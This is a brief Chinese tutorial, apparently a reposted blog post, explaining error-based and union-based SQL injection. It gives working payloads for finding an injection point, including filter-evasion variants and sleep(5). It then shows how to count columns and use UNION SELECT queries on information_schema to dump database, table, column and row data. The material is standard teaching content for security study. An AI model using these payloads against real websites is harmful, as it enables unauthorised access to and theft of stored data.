SQL注入:显错注入
作者:互联网
SQL注入的本质
就是把用户输入的数据当做代码执行
注入条件
1.用户能控制输入
2.能够将程序原本执行的代码,拼接上用户输入的数据进行执行
例:
http://www.xxx.com/new.php?id=1
http://www.xxx.com/new.php?id=2-1
注入的基本流程
1.判断是否存在注入点
1.最古老的方法:
and 1=1 页面正常
and 1=2 页面不正常
注:and 1=1 and 1=2 被拦截的可能性太高了
可以尝试 and -1=-1 and -1=-2或者直接 or sleep(5)
2.最简单的方法:
页面后面加',看是否报错
3.常用的方法:
如果是数字型传参,可以尝试-1
2.猜解字段数
order by 字段数 //显示报错则字段数为前面一个值
3.联合查询找出注入点
and 1=2 union select 1,2,3,…… //可以将字段都写上去
4.爆库、表、字段
查用户权限:union select 1,user(),3
查库:union select 1,database(),3
查表:union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='库名'),3
查字段:union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = '库名' and table_name = '表名'),3
5.查询我们需要的数据
查数据:union select 1,(select group_concat(字段1,字段2) from 库名.表名),3
注入常用函数:
group_concat(字段1,字段2) //返回由属于一组的列值连接组合而成的结果
ASCII(char) //返回字符的ASCII码值
DATABASE() //返回当前数据库名
USER()或SYSTEM_USER() //返回当前登陆用户名
VERSION() //返回MySQL服务器的版本
SLEEP(n) //休眠n秒
标签:显错,group,union,SQL,table,schema,select,注入 来源: https://www.cnblogs.com/yanlzy/p/11884291.html